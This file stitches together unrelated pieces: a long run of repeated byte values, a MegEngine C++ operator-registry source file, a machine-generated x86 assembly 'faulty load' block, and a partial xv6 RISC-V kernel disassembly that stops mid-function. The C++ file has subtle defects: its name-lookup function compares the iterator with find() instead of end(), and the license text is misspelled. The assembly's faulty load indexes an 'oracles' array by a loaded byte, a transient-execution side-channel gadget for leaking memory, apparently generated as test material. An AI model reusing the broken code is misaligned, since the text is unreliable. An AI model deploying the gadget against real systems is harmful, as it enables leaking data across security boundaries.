<gen_prepare_buffer> {'00': 1, '35': 21828} 00 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 */
/** * \file imperative/src/impl/op_trait.cpp * MegEngine is Licensed under the Apache License, Version 2.0 (the "License") * * Copyright (c) 2014-2021 Megvii Inc. All rights reserved. * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT ARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. */ #include <exception> #include <sstream> #include <stdexcept> #include "megbrain/imperative/op_def.h" #include "megbrain/imperative/ops/opr_attr.h" #include "megbrain/imperative/proxy_graph_detail.h" #include "megbrain/imperative/subgraph_detail.h" #include "megbrain/tensor.h" #include "./op_trait.h" namespace mgb { namespace imperative { namespace detail { struct StaticData { std::list<OpTrait> registries; std::unordered_map<std::string, OpTrait*> name2reg; std::unordered_map<Typeinfo*, OpTrait*> type2reg; }; // use "Construct On First Use" to prevent "static initialization order fiasco" // (i.e., ensure global registry was initialized before calling opr registration) StaticData& static_data() { static StaticData data; return data; } void OpMethFallbackByProxyGraph::impl(ApplyOnPhysicalTensor& func, op_meth_tag::ApplyOnPhysicalTensor) { func.Base::operator=(proxy_graph_detail::apply_on_physical_tensor); } void OpMethFallbackByProxyGraph::impl(Execute& func, op_meth_tag::Execute) { func.Base::operator=(proxy_graph_detail::execute); } void OpMethFallbackByProxyGraph::impl(InferOutputMemDesc& func, op_meth_tag::InferOutputMemDesc) { func.Base::operator=(proxy_graph_detail::infer_output_mem_desc); } void OpMethFallbackByProxyGraph::impl(InferOutputAttrsFallible& func, op_meth_tag::InferOutputAttrsFallible) { func.Base::operator=(proxy_graph_detail::infer_output_attrs_fallible); } void OpMethFallbackByProxyGraph::impl(GradMaker& func, op_meth_tag::GradMaker) { func.Base::operator=(proxy_graph_detail::make_backward_graph); } void OpMethFallbackFromSubgraph::impl(ApplyOnPhysicalTensor& func, op_meth_tag::ApplyOnPhysicalTensor) { func.Base::operator=(subgraph_detail::apply_on_physical_tensor); } void OpMethFallbackFromSubgraph::impl(InferOutputMemDesc& func, op_meth_tag::InferOutputMemDesc) { func.Base::operator=(subgraph_detail::infer_output_mem_desc); } void OpMethFallbackFromSubgraph::impl(ApplyOnVarNode& func, op_meth_tag::ApplyOnVarNode) { func.Base::operator=(subgraph_detail::apply_on_var_node); } void OpMethFallbackFromSubgraph::impl(InferOutputAttrsFallible& func, op_meth_tag::InferOutputAttrsFallible) { func.Base::operator=(subgraph_detail::infer_output_attrs_fallible); } void OpMethFallbackFromSubgraph::impl(GradMaker& func, op_meth_tag::GradMaker) { func.Base::operator=(subgraph_detail::make_backward_graph); } void OpMethFallback::impl(DecideDispatchMode& func, op_meth_tag::DecideDispatchMode) { static auto decide_dispatch_mode = [](const OpDef&, const SmallVector<LogicalTensorDesc>&) { return DispatchMode::KERNEL; }; func.Base::operator=(decide_dispatch_mode); } void OpMethFallback::impl(MakeNameFunc& func, op_meth_tag::MakeNameFunc) { static auto make_name = [](const OpDef& def) -> std::string { return def.trait()->name; }; func.Base::operator=(make_name); } } // detail OpTrait::OpTrait(const char* name_): name(name_) {} OpTrait* OpTrait::find_by_typeinfo(Typeinfo* type) { auto&& type2reg = detail::static_data().type2reg; auto iter = type2reg.find(type); if (iter == type2reg.end()) { return nullptr; } return iter->second; } OpTrait* OpTrait::find_by_name(const char* name) { auto&& name2reg = detail::static_data().name2reg; auto iter = name2reg.find(name); if (iter == name2reg.find(name)) { return nullptr; } return iter->second; } void OpTrait::for_each_trait(thin_function<void(OpTrait&)> visitor){ for(auto& trait: detail::static_data().registries){ visitor(trait); } } OpTraitRegistry& OpTraitRegistry::fallback() { using Mode = detail::OpMethFallbackMode; uint64_t mode = Mode::None; if (trait->make_forward_graph) { mode |= Mode::FromSubgraph; } if (trait->apply_on_var_node) { mode |= Mode::ByProxyGraph; } mode |= Mode::Default; #define SET_FALLBACK_MODE(meth) \ trait->meth.fallback_mode = mode; FOR_EACH_OP_METH(SET_FALLBACK_MODE) #undef SET_FALLBACK_MODE return *this; } void OpTraitRegistry::do_insert(Typeinfo* type) { auto&& sd = detail::static_data(); auto ret = sd.type2reg.emplace(type, trait); mgb_assert(ret.second || ret.first->second == trait, "OpTrait for %s has already been registered", type->name); } OpTraitRegistry OpTraitRegistry::do_insert(const char* name) { auto&& sd = detail::static_data(); if (name) { auto iter = sd.name2reg.find(name); if (iter != sd.name2reg.end()) { return {iter->second}; } } sd.registries.emplace_back(name); auto ret = &sd.registries.back(); if (name) { sd.name2reg.emplace(name, ret); } return {ret}; } } // namespace imperative } // namespace mgb // vim: syntax=cpp.doxygen foldmethod=marker foldmarker=f{{{,f}}}
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r15 push %r8 push %rbp push %rcx push %rdi push %rsi lea addresses_normal_ht+0x1d475, %rsi lea addresses_WT_ht+0x14f15, %rdi cmp $64895, %rbp mov $12, %rcx rep movsb nop inc %r8 lea addresses_D_ht+0x1855, %rdi nop nop nop dec %r15 mov $0x6162636465666768, %r8 movq %r8, (%rdi) nop cmp %rcx, %rcx lea addresses_WT_ht+0xa2d5, %r15 clflush (%r15) nop nop nop nop nop add %r11, %r11 movups (%r15), %xmm5 vpextrq $1, %xmm5, %rcx nop inc %r11 lea addresses_UC_ht+0x3155, %r8 nop nop nop nop dec %rsi movb (%r8), %r11b nop nop sub $45477, %rbp pop %rsi pop %rdi pop %rcx pop %rbp pop %r8 pop %r15 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r8 push %r9 push %rax push %rbp push %rbx // Store lea addresses_WC+0xd3f7, %rbp nop nop nop nop nop cmp %rbx, %rbx movw $0x5152, (%rbp) nop nop nop nop add $51499, %rbx // Load lea addresses_WT+0x1e862, %rax nop nop nop nop nop xor %r11, %r11 movups (%rax), %xmm2 vpextrq $1, %xmm2, %rbp nop add $48886, %rax // Load lea addresses_WT+0x955, %rax nop nop nop nop nop xor %r13, %r13 mov (%rax), %bp cmp %r13, %r13 // Load mov $0xc55, %r13 clflush (%r13) nop nop add $10860, %rbx mov (%r13), %r9w nop nop inc %r8 // Store lea addresses_normal+0x19955, %rax nop nop nop xor $38255, %rbp mov $0x5152535455565758, %rbx movq %rbx, %xmm7 vmovups %ymm7, (%rax) nop nop nop nop add %rbp, %rbp // Store mov $0x8b5, %r13 and %r11, %r11 movw $0x5152, (%r13) cmp %r8, %r8 // Load mov $0x535, %rbx xor %rax, %rax mov (%rbx), %r11w nop nop nop nop and $55742, %rax // Store lea addresses_PSE+0xce35, %r9 sub $44113, %rax movb $0x51, (%r9) nop nop nop add %r11, %r11 // Faulty Load lea addresses_WT+0x955, %r13 nop nop sub %rbx, %rbx mov (%r13), %ax lea oracles, %r8 and $0xff, %rax shlq $12, %rax mov (%r8,%rax,1), %rax pop %rbx pop %rbp pop %rax pop %r9 pop %r8 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 1, 'size': 2, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 7, 'size': 2, 'same': False, 'NT': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 11, 'size': 32, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 5, 'size': 2, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 1, 'size': 2, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 5, 'size': 1, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 8, 'size': 8, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 6, 'size': 16, 'same': True, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 11, 'size': 1, 'same': False, 'NT': False}} {'58': 1} 58 */
kernel/kernel: 文件格式 elf64-littleriscv Disassembly of section .text: 0000000080000000 <_entry>: 80000000: 00009117 auipc sp,0x9 80000004: 86013103 ld sp,-1952(sp) # 80008860 <_GLOBAL_OFFSET_TABLE_+0x8> 80000008: 6505 lui a0,0x1 8000000a: f14025f3 csrr a1,mhartid 8000000e: 0585 addi a1,a1,1 80000010: 02b50533 mul a0,a0,a1 80000014: 912a add sp,sp,a0 80000016: 070000ef jal ra,80000086 <start> 000000008000001a <spin>: 8000001a: a001 j 8000001a <spin> 000000008000001c <timerinit>: // which arrive at timervec in kernelvec.S, // which turns them into software interrupts for // devintr() in trap.c. void timerinit() { 8000001c: 1141 addi sp,sp,-16 8000001e: e422 sd s0,8(sp) 80000020: 0800 addi s0,sp,16 // which hart (core) is this? static inline uint64 r_mhartid() { uint64 x; asm volatile("csrr %0, mhartid" : "=r" (x) ); 80000022: f14027f3 csrr a5,mhartid // each CPU has a separate source of timer interrupts. int id = r_mhartid(); // ask the CLINT for a timer interrupt. int interval = 1000000; // cycles; about 1/10th second in qemu. *(uint64*)CLINT_MTIMECMP(id) = *(uint64*)CLINT_MTIME + interval; 80000026: 0037969b slliw a3,a5,0x3 8000002a: 02004737 lui a4,0x2004 8000002e: 96ba add a3,a3,a4 80000030: 0200c737 lui a4,0x200c 80000034: ff873603 ld a2,-8(a4) # 200bff8 <_entry-0x7dff4008> 80000038: 000f4737 lui a4,0xf4 8000003c: 24070713 addi a4,a4,576 # f4240 <_entry-0x7ff0bdc0> 80000040: 963a add a2,a2,a4 80000042: e290 sd a2,0(a3) // prepare information in scratch[] for timervec. // scratch[0..3] : space for timervec to save registers. // scratch[4] : address of CLINT MTIMECMP register. // scratch[5] : desired interval (in cycles) between timer interrupts. uint64 *scratch = &mscratch0[32 * id]; 80000044: 0057979b slliw a5,a5,0x5 80000048: 078e slli a5,a5,0x3 8000004a: 00009617 auipc a2,0x9 8000004e: fe660613 addi a2,a2,-26 # 80009030 <mscratch0> 80000052: 97b2 add a5,a5,a2 scratch[4] = CLINT_MTIMECMP(id); 80000054: f394 sd a3,32(a5) scratch[5] = interval; 80000056: f798 sd a4,40(a5) } static inline void w_mscratch(uint64 x) { asm volatile("csrw mscratch, %0" : : "r" (x)); 80000058: 34079073 csrw mscratch,a5 asm volatile("csrw mtvec, %0" : : "r" (x)); 8000005c: 00006797 auipc a5,0x6 80000060: b3478793 addi a5,a5,-1228 # 80005b90 <timervec> 80000064: 30579073 csrw mtvec,a5 asm volatile("csrr %0, mstatus" : "=r" (x) ); 80000068: 300027f3 csrr a5,mstatus // set the machine-mode trap handler. w_mtvec((uint64)timervec); // enable machine-mode interrupts. w_mstatus(r_mstatus() | MSTATUS_MIE); 8000006c: 0087e793 ori a5,a5,8 asm volatile("csrw mstatus, %0" : : "r" (x)); 80000070: 30079073 csrw mstatus,a5 asm volatile("csrr %0, mie" : "=r" (x) ); 80000074: 304027f3 csrr a5,mie // enable machine-mode timer interrupts. w_mie(r_mie() | MIE_MTIE); 80000078: 0807e793 ori a5,a5,128 asm volatile("csrw mie, %0" : : "r" (x)); 8000007c: 30479073 csrw mie,a5 } 80000080: 6422 ld s0,8(sp) 80000082: 0141 addi sp,sp,16 80000084: 8082 ret 0000000080000086 <start>: { 80000086: 1141 addi sp,sp,-16 80000088: e406 sd ra,8(sp) 8000008a: e022 sd s0,0(sp) 8000008c: 0800 addi s0,sp,16 asm volatile("csrr %0, mstatus" : "=r" (x) ); 8000008e: 300027f3 csrr a5,mstatus x &= ~MSTATUS_MPP_MASK; 80000092: 7779 lui a4,0xffffe 80000094: 7ff70713 addi a4,a4,2047 # ffffffffffffe7ff <end+0xffffffff7ffd87ff> 80000098: 8ff9 and a5,a5,a4 x |= MSTATUS_MPP_S; 8000009a: 6705 lui a4,0x1 8000009c: 80070713 addi a4,a4,-2048 # 800 <_entry-0x7ffff800> 800000a0: 8fd9 or a5,a5,a4 asm volatile("csrw mstatus, %0" : : "r" (x)); 800000a2: 30079073 csrw mstatus,a5 asm volatile("csrw mepc, %0" : : "r" (x)); 800000a6: 00001797 auipc a5,0x1 800000aa: e1878793 addi a5,a5,-488 # 80000ebe <main> 800000ae: 34179073 csrw mepc,a5 asm volatile("csrw satp, %0" : : "r" (x)); 800000b2: 4781 li a5,0 800000b4: 18079073 csrw satp,a5 asm volatile("csrw medeleg, %0" : : "r" (x)); 800000b8: 67c1 lui a5,0x10 800000ba: 17fd addi a5,a5,-1 800000bc: 30279073 csrw medeleg,a5 asm volatile("csrw mideleg, %0" : : "r" (x)); 800000c0: 30379073 csrw mideleg,a5 asm volatile("csrr %0, sie" : "=r" (x) ); 800000c4: 104027f3 csrr a5,sie w_sie(r_sie() | SIE_SEIE | SIE_STIE | SIE_SSIE); 800000c8: 2227e793 ori a5,a5,546 asm volatile("csrw sie, %0" : : "r" (x)); 800000cc: 10479073 csrw sie,a5 timerinit(); 800000d0: 00000097 auipc ra,0x0 800000d4: f4c080e7 jalr -180(ra) # 8000001c <timerinit> asm volatile("csrr %0, mhartid" : "=r" (x) ); 800000d8: f14027f3 csrr a5,mhartid w_tp(id); 800000dc: 2781 sext.w a5,a5 } static inline void w_tp(uint64 x) { asm volatile("mv tp, %0" : : "r" (x)); 800000de: 823e mv tp,a5 asm volatile("mret"); 800000e0: 30200073 mret } 800000e4: 60a2 ld ra,8(sp) 800000e6: 6402 ld s0,0(sp) 800000e8: 0141 addi sp,sp,16 800000ea: 8082 ret 00000000800000ec <consolewrite>: // // user write()s to the console go here. // int consolewrite(int user_src, uint64 src, int n) { 800000ec: 715d addi sp,sp,-80 800000ee: e486 sd ra,72(sp) 800000f0: e0a2 sd s0,64(sp) 800000f2: fc26 sd s1,56(sp) 800000f4: f84a sd s2,48(sp) 800000f6: f44e sd s3,40(sp) 800000f8: f052 sd s4,32(sp) 800000fa: ec56 sd s5,24(sp) 800000fc: 0880 addi s0,sp,80 800000fe: 8a2a mv s4,a0 80000100: 84ae mv s1,a1 80000102: 89b2 mv s3,a2 int i; acquire(&cons.lock); 80000104: 00011517 auipc a0,0x11 80000108: 72c50513 addi a0,a0,1836 # 80011830 <cons> 8000010c: 00001097 auipc ra,0x1 80000110: b04080e7 jalr -1276(ra) # 80000c10 <acquire> for(i = 0; i < n; i++){ 80000114: 05305b63 blez s3,8000016a <consolewrite+0x7e> 80000118: 4901 li s2,0 char c; if(either_copyin(&c, user_src, src+i, 1) == -1) 8000011a: 5afd li s5,-1 8000011c: 4685 li a3,1 8000011e: 8626 mv a2,s1 80000120: 85d2 mv a1,s4 80000122: fbf40513 addi a0,s0,-65 80000126: 00002097 auipc ra,0x2 8000012a: 37c080e7 jalr 892(ra) # 800024a2 <either_copyin> 8000012e: 01550c63 beq a0,s5,80000146 <consolewrite+0x5a> break; uartputc(c); 80000132: fbf44503 lbu a0,-65(s0) 80000136: 00000097 auipc ra,0x0 8000013a: 7aa080e7 jalr 1962(ra) # 800008e0 <uartputc> for(i = 0; i < n; i++){ 8000013e: 2905 addiw s2,s2,1 80000140: 0485 addi s1,s1,1 80000142: fd299de3 bne s3,s2,8000011c <consolewrite+0x30> } release(&cons.lock); 80000146: 00011517 auipc a0,0x11 8000014a: 6ea50513 addi a0,a0,1770 # 80011830 <cons> 8000014e: 00001097 auipc ra,0x1 80000152: b76080e7 jalr -1162(ra) # 80000cc4 <release> return i; } 80000156: 854a mv a0,s2 80000158: 60a6 ld ra,72(sp) 8000015a: 6406 ld s0,64(sp) 8000015c: 74e2 ld s1,56(sp) 8000015e: 7942 ld s2,48(sp) 80000160: 79a2 ld s3,40(sp) 80000162: 7a02 ld s4,32(sp) 80000164: 6ae2 ld s5,24(sp) 80000166: 6161 addi sp,sp,80 80000168: 8082 ret for(i = 0; i < n; i++){ 8000016a: 4901 li s2,0 8000016c: bfe9 j 80000146 <consolewrite+0x5a> 000000008000016e <consoleread>: // user_dist indicates whether dst is a user // or kernel address. // int consoleread(int user_dst, uint64 dst, int n) { 8000016e: 7119 addi sp,sp,-128 80000170: fc86 sd ra,120(sp) 80000172: f8a2 sd s0,112(sp) 80000174: f4a6 sd s1,104(sp) 80000176: f0ca sd s2,96(sp) 80000178: ecce sd s3,88(sp) 8000017a: e8d2 sd s4,80(sp) 8000017c: e4d6 sd s5,72(sp) 8000017e: e0da sd s6,64(sp) 80000180: fc5e sd s7,56(sp) 80000182: f862 sd s8,48(sp) 80000184: f466 sd s9,40(sp) 80000186: f06a sd s10,32(sp) 80000188: ec6e sd s11,24(sp) 8000018a: 0100 addi s0,sp,128 8000018c: 8b2a mv s6,a0 8000018e: 8aae mv s5,a1 80000190: 8a32 mv s4,a2 uint target; int c; char cbuf; target = n; 80000192: 00060b9b sext.w s7,a2 acquire(&cons.lock); 80000196: 00011517 auipc a0,0x11 8000019a: 69a50513 addi a0,a0,1690 # 80011830 <cons> 8000019e: 00001097 auipc ra,0x1 800001a2: a72080e7 jalr -1422(ra) # 80000c10 <acquire> while(n > 0){ // wait until interrupt handler has put some // input into cons.buffer. while(cons.r == cons.w){ 800001a6: 00011497 auipc s1,0x11 800001aa: 68a48493 addi s1,s1,1674 # 80011830 <cons> if(myproc()->killed){ release(&cons.lock); return -1; } sleep(&cons.r, &cons.lock); 800001ae: 89a6 mv s3,s1 800001b0: 00011917 auipc s2,0x11 800001b4: 71890913 addi s2,s2,1816 # 800118c8 <cons+0x98> } c = cons.buf[cons.r++ % INPUT_BUF]; if(c == C('D')){ // end-of-file 800001b8: 4c91 li s9,4 break; } // copy the input byte to the user-space buffer. cbuf = c; if(either_copyout(user_dst, dst, &cbuf, 1) == -1) 800001ba: 5d7d li s10,-1 break; dst++; --n; if(c == '\n'){ 800001bc: 4da9 li s11,10 while(n > 0){ 800001be: 07405863 blez s4,8000022e <consoleread+0xc0> while(cons.r == cons.w){ 800001c2: 0984a783 lw a5,152(s1) 800001c6: 09c4a703 lw a4,156(s1) 800001ca: 02f71463 bne a4,a5,800001f2 <consoleread+0x84> if(myproc()->killed){ 800001ce: 00002097 auipc ra,0x2 800001d2: 810080e7 jalr -2032(ra) # 800019de <myproc> 800001d6: 591c lw a5,48(a0) 800001d8: e7b5 bnez a5,80000244 <consoleread+0xd6> sleep(&cons.r, &cons.lock); 800001da: 85ce mv a1,s3 800001dc: 854a mv a0,s2 800001de: 00002097 auipc ra,0x2 800001e2: 00c080e7 jalr 12(ra) # 800021ea <sleep> while(cons.r == cons.w){ 800001e6: 0984a783 lw a5,152(s1) 800001ea: 09c4a703 lw a4,156(s1) 800001ee: fef700e3 beq a4,a5,800001ce <consoleread+0x60> c = cons.buf[cons.r++ % INPUT_BUF]; 800001f2: 0017871b addiw a4,a5,1 800001f6: 08e4ac23 sw a4,152(s1) 800001fa: 07f7f713 andi a4,a5,127 800001fe: 9726 add a4,a4,s1 80000200: 01874703 lbu a4,24(a4) 80000204: 00070c1b sext.w s8,a4 if(c == C('D')){ // end-of-file 80000208: 079c0663 beq s8,s9,80000274 <consoleread+0x106> cbuf = c; 8000020c: f8e407a3 sb a4,-113(s0) if(either_copyout(user_dst, dst, &cbuf, 1) == -1) 80000210: 4685 li a3,1 80000212: f8f40613 addi a2,s0,-113 80000216: 85d6 mv a1,s5 80000218: 855a mv a0,s6 8000021a: 00002097 auipc ra,0x2 8000021e: 232080e7 jalr 562(ra) # 8000244c <either_copyout> 80000222: 01a50663 beq a0,s10,8000022e <consoleread+0xc0> dst++; 80000226: 0a85 addi s5,s5,1 --n; 80000228: 3a7d addiw s4,s4,-1 if(c == '\n'){ 8000022a: f9bc1ae3 bne s8,s11,800001be <consoleread+0x50> // a whole line has arrived, return to // the user-level read(). break; } } release(&cons.lock); 8000022e: 00011517 auipc a0,0x11 80000232: 60250513 addi a0,a0,1538 # 80011830 <cons> 80000236: 00001097 auipc ra,0x1 8000023a: a8e080e7 jalr -1394(ra) # 80000cc4 <release> return target - n; 8000023e: 414b853b subw a0,s7,s4 80000242: a811 j 80000256 <consoleread+0xe8> release(&cons.lock); 80000244: 00011517 auipc a0,0x11 80000248: 5ec50513 addi a0,a0,1516 # 80011830 <cons> 8000024c: 00001097 auipc ra,0x1 80000250: a78080e7 jalr -1416(ra) # 80000cc4 <release> return -1; 80000254: 557d li a0,-1 } 80000256: 70e6 ld ra,120(sp) 80000258: 7446 ld s0,112(sp) 8000025a: 74a6 ld s1,104(sp) 8000025c: 7906 ld s2,96(sp) 8000025e: 69e6 ld s3,88(sp) 80000260: 6a46 ld s4,80(sp) 80000262: 6aa6 ld s5,72(sp) 80000264: 6b06 ld s6,64(sp) 80000266: 7be2 ld s7,56(sp) 80000268: 7c42 ld s8,48(sp) 8000026a: 7ca2 ld s9,40(sp) 8000026c: 7d02 ld s10,32(sp) 8000026e: 6de2 ld s11,24(sp) 80000270: 6109 addi sp,sp,128 80000272: 8082 ret if(n < target){ 80000274: 000a071b sext.w a4,s4 80000278: fb777be3 bgeu a4,s7,8000022e <consoleread+0xc0> cons.r--; 8000027c: 00011717 auipc a4,0x11 80000280: 64f72623 sw a5,1612(a4) # 800118c8 <cons+0x98> 80000284: b76d j 8000022e <consoleread+0xc0> 0000000080000286 <consputc>: { 80000286: 1141 addi sp,sp,-16 80000288: e406 sd ra,8(sp) 8000028a: e022 sd s0,0(sp) 8000028c: 0800 addi s0,sp,16 if(c == BACKSPACE){ 8000028e: 10000793 li a5,256 80000292: 00f50a63 beq a0,a5,800002a6 <consputc+0x20> uartputc_sync(c); 80000296: 00000097 auipc ra,0x0 8000029a: 564080e7 jalr 1380(ra) # 800007fa <uartputc_sync> } 8000029e: 60a2 ld ra,8(sp) 800002a0: 6402 ld s0,0(sp) 800002a2: 0141 addi sp,sp,16 800002a4: 8082 ret uartputc_sync('\b'); uartputc_sync(' '); uartputc_sync('\b'); 800002a6: 4521 li a0,8 800002a8: 00000097 auipc ra,0x0 800002ac: 552080e7 jalr 1362(ra) # 800007fa <uartputc_sync> 800002b0: 02000513 li a0,32 800002b4: 00000097 auipc ra,0x0 800002b8: 546080e7 jalr 1350(ra) # 800007fa <uartputc_sync> 800002bc: 4521 li a0,8 800002be: 00000097 auipc ra,0x0 800002c2: 53c080e7 jalr 1340(ra) # 800007fa <uartputc_sync> 800002c6: bfe1 j 8000029e <consputc+0x18> 00000000800002c8 <consoleintr>: // do erase/kill processing, append to cons.buf, // wake up consoleread() if a whole line has arrived. // void consoleintr(int c) { 800002c8: 1101 addi sp,sp,-32 800002ca: ec06 sd ra,24(sp) 800002cc: e822 sd s0,16(sp) 800002ce: e426 sd s1,8(sp) 800002d0: e04a sd s2,0(sp) 800002d2: 1000 addi s0,sp,32 800002d4: 84aa mv s1,a0 acquire(&cons.lock); 800002d6: 00011517 auipc a0,0x11 800002da: 55a50513 addi a0,a0,1370 # 80011830 <cons> 800002de: 00001097 auipc ra,0x1 800002e2: 932080e7 jalr -1742(ra) # 80000c10 <acquire> switch(c){ 800002e6: 47d5 li a5,21 800002e8: 0af48663 beq s1,a5,80000394 <consoleintr+0xcc> 800002ec: 0297ca63 blt a5,s1,80000320 <consoleintr+0x58> 800002f0: 47a1 li a5,8 800002f2: 0ef48763 beq s1,a5,800003e0 <consoleintr+0x118> 800002f6: 47c1 li a5,16 800002f8: 10f49a63 bne s1,a5,8000040c <consoleintr+0x144> case C('P'): // Print process list. procdump(); 800002fc: 00002097 auipc ra,0x2 80000300: 1fc080e7 jalr 508(ra) # 800024f8 <procdump> } } break; } release(&cons.lock); 80000304: 00011517 auipc a0,0x11 80000308: 52c50513 addi a0,a0,1324 # 80011830 <cons> 8000030c: 00001097 auipc ra,0x1 80000310: 9b8080e7 jalr -1608(ra) # 80000cc4 <release> } 80000314: 60e2 ld ra,24(sp) 80000316: 6442 ld s0,16(sp) 80000318: 64a2 ld s1,8(sp) 8000031a: 6902 ld s2,0(sp) 8000031c: 6105 addi sp,sp,32 8000031e: 8082 ret switch(c){ 80000320: 07f00793 li a5,127 80000324: 0af48e63 beq s1,a5,800003e0 <consoleintr+0x118> if(c != 0 && cons.e-cons.r < INPUT_BUF){ 80000328: 00011717 auipc a4,0x11 8000032c: 50870713 addi a4,a4,1288 # 80011830 <cons> 80000330: 0a072783 lw a5,160(a4) 80000334: 09872703 lw a4,152(a4) 80000338: 9f99 subw a5,a5,a4 8000033a: 07f00713 li a4,127 8000033e: fcf763e3 bltu a4,a5,80000304 <consoleintr+0x3c> c = (c == '\r') ? '\n' : c; 80000342: 47b5 li a5,13 80000344: 0cf48763 beq s1,a5,80000412 <consoleintr+0x14a> consputc(c); 80000348: 8526 mv a0,s1 8000034a: 00000097 auipc ra,0x0 8000034e: f3c080e7 jalr -196(ra) # 80000286 <consputc> cons.buf[cons.e++ % INPUT_BUF] = c; 80000352: 00011797 auipc a5,0x11 80000356: 4de78793 addi a5,a5,1246 # 80011830 <cons> 8000035a: 0a07a703 lw a4,160(a5) 8000035e: 0017069b addiw a3,a4,1 